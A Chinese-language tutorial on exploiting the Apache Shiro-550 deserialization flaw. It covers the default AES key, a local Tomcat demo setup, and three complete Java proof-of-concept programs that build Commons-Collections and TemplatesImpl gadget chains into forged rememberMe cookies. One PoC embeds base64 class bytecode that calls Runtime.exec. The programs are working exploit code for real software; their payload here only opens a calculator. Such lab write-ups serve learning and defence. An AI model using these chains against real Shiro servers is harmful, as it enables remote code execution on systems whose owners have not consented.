利用TemplatesImpl攻击shiro

CC6这样的通杀链基本已经不需要其他的链子了,那为什么还需要TemplatesImpl这样的链子呢?

其实通过TemplatesImpl构造的利用链,理论上来说可以执行任意代码,这是非常通用的一种代码执行漏洞,不受到链的限制,所以通用性非常高。

什么是Shiro反序列化

shiro是什么

Shiro是一个Java平台的开源权限框架,用于认证和访问授权

shiro反序列化漏洞的原理

为了让浏览器或服务器在重启后,用户能不丢失登录状态,shiro支持将持久化信息序列化并加密(先AES加密,然后base加密)后保存在
cookierememberMe字段中,在下次读取时从浏览器读出这个字段传过去进行解密和反序列化,
shiro1.2.4版本之前内置了一个默认且固定的加密key,(这个key也就是AES加密需要的密钥),这让加密解密变得没有意义了,同时导致了用户可以伪造任意的rememberMe cookie,进而触发反序列化漏洞。

这个漏洞也叫shiro-550

shiro<=1.2.4的版本中,这个固定的key位于org.apache.shiro.mgt.AbstractRememberMeManager:

/**
     * The following Base64 string was generated by auto-generating an AES Key:
     * <pre>
     * AesCipherService aes = new AesCipherService();
     * byte[] key = aes.generateNewKey().getEncoded();
     * String base64 = Base64.encodeToString(key);
     * </pre>
     * The value of 'base64' was copied-n-pasted here:
     */
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

了解攻击原理后,来梳理一下攻击过程了:

使用CC链生成序列化payload
使用shiro默认key进行加密
将加密后的数据作为rememberMe的cookie传给服务端

war包和jar包的区别

什么是 jar 包

jar 包全称 Java Archive ,中文名叫 java 归档文件,这是一种与平台无关的文件格式,它允许将许多文件组合成一个压缩文件(是的,jar 包就是一种压缩文件,甚至 jar 这个单词就有罐子的意思,实际上 jar包采用的也是 zip 的压缩方式,只不过将文件后缀定义为 jar)。javaSE 程序可以打包成 jar 包。

 jar 包虽然使用 zip 进行压缩和发布,但与 zip 压缩不同,jar 文件还可以用来部署和封装库,组件和插件程序,而且这样的 jar 包是可以直接被编译器和 JVM 直接使用的。

简单的讲,zip 只是将代码文件压缩,打 jar 包不仅是文件压缩,还将代码中的类进行打包,这样就可以让别人直接进行引入调用了。

再介绍一下什么是war包:

war 包与 jar 包是很类似的,不过 war 包通常用于网站,它是一个可以直接运行的 web 模块。我们在开发 web 项目一般都会使用一个 webapp 文件夹来进行开发,这个文件夹直接放在 Tomcat webapps 文件夹下就可以启动该项目了。而 war 包,就是对这个文件夹进行打包。

 war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。

一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。

区别

使用 jar 文件的目的是把类和相关的资源封装到压缩的归档文件中以方便调用。而对于 war 文件来说,一个 war 文件就是一个 Web 应用程序。它包含 Servlet、HTML 页面、Java 类、图像文件,以及组成 Web 应用程序的其他资源,而不仅仅是类的归档文件。

简单的来说,jar 只是类的归档文件,而 war 包是一个完整的 web 应用程序。

环境搭建

这里使用的是p神给的环境,因为这是个超简单的登录应用,为了不引入其他干扰因素,没有使用任
Web框架,整个项目只有两个代码文件,index.jsp和login.jsp
环境地址:
https://github.com/phith0n/JavaThings/tree/master/shirodemo

下载下来后,本地先开一个Tomcat的服务

简单介绍下P神项目的依赖:

- shiro-core、shiro-web是shiro本身的依赖
- javax.servlet-api、jsp-api是Servlet和JSP的依赖,仅在编译阶段使用,因为tomcat中自带这两个依赖
- slf4j-api、slf4j-simple是为了显示shiro中的报错信息
- commons-logging:是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
- commons-collections:是为了演示反序列化漏洞,增加了这个依赖

进入到shirodemo的目录输入mvnshirodemo打包成war包

mvn package

看到他把war包放在了\target\shirodemo.war目录下,接着把这个war包放在tomcatwebapps目录下,访问http://localhost:8080/shirodemo,跳转到了这个页面就说明搭建成功了

输入默认账户密码:root/secret就会登陆,且如果登录时选择了web页面的Remember me选项,那么在登录成功后就会返回一个rememberMecookie,这个cookie就是经过加密过后得到的。

攻击流程

因为ShiroCookie的处理方式是先将其base64解码,然后再AES解码,最后进行反序列化;所以说我们要构造payload的顺序就是先 AES加密,然后Base64加密,再进行序列化就行,而之前说到AES需要的密钥key是固定并且默认在org.apache.shiro.mgt.AbstractRememberMeManager里面的。

构造poc

直接用cc6的链子试试吧,前面的代码和cc6是一样的,这里主要是要写一个加密,在shiro类中有一个内置类AesCipherService,这个类中有一个encrypt方法,只要告诉它明文和密钥它就可以直接加密了(这里的加密是指AES过后再用BASE64加密,也就是得到数据可以直接用了):

所以只需要在cc6的基础上加上这段代码:

        byte[] code = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(code,key);
        System.out.println(byteSource.toString());

构造payload:

import net.sf.cglib.transform.ClassTransformerChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.TransformerClosure;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc6{
    public static void main(String[] args) throws Exception{
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"c11");
        Map popMap = new HashMap();
        popMap.put(tiedMapEntry,"zz");
        outerMap.remove("c11");

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);

        ByteArrayOutputStream byteArrayOutputStream  = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(popMap);
        objectOutputStream.close();

        byte[] code = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(code,key);
        System.out.println(byteSource.toString());
    }
}

先把浏览器缓存清除后,用生成的payload,在cookie里面加上rememberMe发过去

没有弹出计算器,但是看到这里报错信息:Unable to load class named [[Lorg.apache.commons.collections.Transformer;],意思是说不能加载Transform[]数组,具体原因在这里不做深入讨论,因为中间涉及到大量的Tomcat对类加载的处理逻辑

这里直接给出p神的结论:shiro的反序列化利用中,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 这也算是shiro的特性了

所以才需要修改cc6

构造不含数组的反序列化链

所以现在的问题就是想办法不用Transform[]数组,这时候我们就应该想到前面用TemplatesImpl构造的cc3的链子,这里我们还是使用InvokerTransformer,其中的数组只有两个元素:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

这个数组比起cc6要少了很多,但它还是个数组,但是如果我们可以去掉这个数组中的一个元素不让他定义为数组,那么就可以达到目的了。接着看后面那个执行命令的InvokerTransformer肯定是没办法去掉的,但是前面那个用来返回对象的ConstantTransformer,我们有没有机会去掉呢?继续往下看

如果要去掉ConstantTransformer,那么调用的对象就应该存在于InvokerTransformer里面,看一下InvokerTransformer类中的transform方法:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

可以看到,它执行的是input对象中的iMethodName方法,而前面我们是通过ConstantTransformer将对象传进来的,那这里我们能不能直接传呢,接着往前看,看看LazyMap中的get方法:

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

这里会传入一个参数keythis.factory.transform(key),那么如果这个key就是前面我们想要通过ConstantTransformer传进来的对象,那不也可以达到目的吗,会想到之前学cc1的也用到了这个地方,但cc1传入key主要是为了进入到if里面,这里我们可以构造一下key让他成为ConstantTransformer传进来的对象

构造poc前先看看这个代码:

import com.sun.jdi.Value;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import net.sf.cglib.transform.ClassTransformerChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.TransformerClosure;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.io.ClassResolvingObjectInputStream;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc6{
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZG" +
                "UBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFj" +
                "aGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcj" +
                "spVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29z" +
                "ZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYW" +
                "NoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUo" +
                "KUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAw" +
                "AAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAA" +
                "Fyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c11");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("newTransformer",null,null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
        Map popMap = new HashMap();
        popMap.put(tiedMapEntry,"value");
 

        ByteArrayOutputStream byteArrayOutputStream  = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(popMap);
        objectOutputStream.close();

        byte[] code = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(code,key);
        System.out.println(byteSource.toString());
    }
}

这个主要是为了好梳理,只要反序列化能调用到TemplatesImpl#newTransformer(),那流程就和前面加载字节码的时候一样了,最后会执行字节码。

首先是new了一个InvokerTransformer的类,里面封装了一个newTransformer方法,当调用InvokerTransformer类的transform方法,并且传入的对象是templates的话,可以调用到TemplatesImpl#newTransformer()

还是倒着推吧:

当反序列化的时候会调用到popmap也就是hashmapreadobject方法,然后调用里面的hash方法,接着他会调用popmap里面传入的key(也就是tiedMapEntry)的hashcode方法,然后进入到TiedMapEntry里面的getvalue方法,里面会调用TiedMapEntry类中传入map对象(也就是outermap)的get方法,传入的参数是TiedMapEntry中传入的key(也就是template,注意这和前面的不是一个key

进入到lazymap(也就是outermap)的get方法时,会判断是否存在TiedMapEntry这个键名,肯定是不存在的,所以会调用this.factory.transform(key),这里之前弄cc1的时候说到过,this.factory就是lazymap中传入的key,也就是transformer。所以也就是会调用到InvokerTransformer类的transform方法,并且传入的对象是templates,后面就联系起来了。

梳理完成后,构造完整的poc,还是先传入一 个人畜无害的方法,比如getClass ,避免恶意方法在构造Gadget的时候触发,最后,将InvokerTransformer的方法从人畜无害的getClass,改成 newTransformer ,除key用的是outerMap.clear()其实和之前的outerMap.remove()是相同的

之前说过TemplatesImpl中对加载的字节码还有一定的要求,忘记的可以去看看前面字节码的文章,这里直接用payload生成的class文件用base64编码就是字节码了

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public test() throws Exception{
        super();
        String[] command = {"calc.exe"};
        Runtime.getRuntime().exec(command);
    }
}

poc


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import net.sf.cglib.transform.ClassTransformerChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.TransformerClosure;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.io.ClassResolvingObjectInputStream;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc6{
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZG" +
                "UBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFj" +
                "aGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcj" +
                "spVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29z" +
                "ZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYW" +
                "NoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUo" +
                "KUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAw" +
                "AAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAA" +
                "Fyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c11");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


        Transformer faketransformer = new InvokerTransformer("getClass",null,null);

        Transformer transformer = new InvokerTransformer("newTransformer",null,null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,faketransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
        Map popMap = new HashMap();
        popMap.put(tiedMapEntry,"value");
        outerMap.clear();

        setFieldValue(outerMap,"factory",transformer);

        ByteArrayOutputStream byteArrayOutputStream  = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(popMap);
        objectOutputStream.close();

        byte[] code = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(code,key);
        System.out.println(byteSource.toString());
    }
}

再来尝试不用InvokerTransformer,接下来看看cc3的链子


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import net.sf.cglib.transform.ClassTransformerChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.io.ClassResolvingObjectInputStream;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc6{
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZG" +
                "UBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFj" +
                "aGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcj" +
                "spVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29z" +
                "ZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYW" +
                "NoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUo" +
                "KUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAw" +
                "AAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAA" +
                "Fyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c11");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        Transformer faketransformer = new ConstantTransformer(1);
        Transformer transformer = new InstantiateTransformer(new Class[] {Templates.class}, new Object[] {templates});
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,faketransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,TrAXFilter.class);

        Map popMap = new HashMap();
        popMap.put(tiedMapEntry,"value");
        outerMap.clear();

        setFieldValue(outerMap,"factory",transformer);

        ByteArrayOutputStream byteArrayOutputStream  = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(popMap);
        objectOutputStream.close();

        byte[] code = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(code,key);
        System.out.println(byteSource.toString());
    }
}

同样弹出了计算器

最后

最后注意下:

shiro不是遇到tomcat就一定会有数组这个问题
shiro-550的修复不代表反序列化漏洞的修复,只是默认key被移除了

参考链接

本地搭建TOMCAT服务
maven的安装与配置
http://blog.o3ev.cn/yy/1196
http://arsenetang.com/2022/03/03/Java%E7%AF%87%E4%B9%8B%E5%88%A9%E7%94%A8TemplatesImpl%E6%94%BB%E5%87%BBShiro/
https://blog.csdn.net/rfrder/article/details/119899231